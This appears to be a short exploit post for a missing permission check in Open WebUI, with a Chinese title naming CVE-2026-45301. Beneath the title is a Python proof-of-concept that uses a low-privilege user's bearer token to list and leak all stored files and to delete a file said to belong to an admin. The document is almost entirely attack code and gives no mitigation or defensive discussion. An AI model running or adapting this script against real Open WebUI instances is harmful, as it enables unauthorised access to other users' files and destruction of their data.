CVE-2026-45301 Open WebUI权限检查缺失漏洞

import requests # Target URL base_url = "http://target-open-webui-instance.com" # Attacker's low-privilege session token attacker_token = "eyJhbGciOiJIUzI1NiIs..." headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # 1. List all files (Exploiting missing permission check) list_endpoint = f"{base_url}/api/v1/files/list" response = requests.get(list_endpoint, headers=headers) if response.status_code == 200: files_data = response.json() print("[+] Successfully leaked file list:", files_data) # 2. Delete a file owned by another user (if ID is known) # Assuming file_id '12345' belongs to Admin target_file_id = "12345" delete_endpoint = f"{base_url}/api/v1/files/delete/{target_file_id}" del_resp = requests.delete(delete_endpoint, headers=headers) if del_resp.status_code == 200: print(f"[+] Successfully deleted file ID: {target_file_id}") else: print(f"[-] Failed to delete file ID: {target_file_id}") else: print("[-] Failed to exploit the vulnerability.")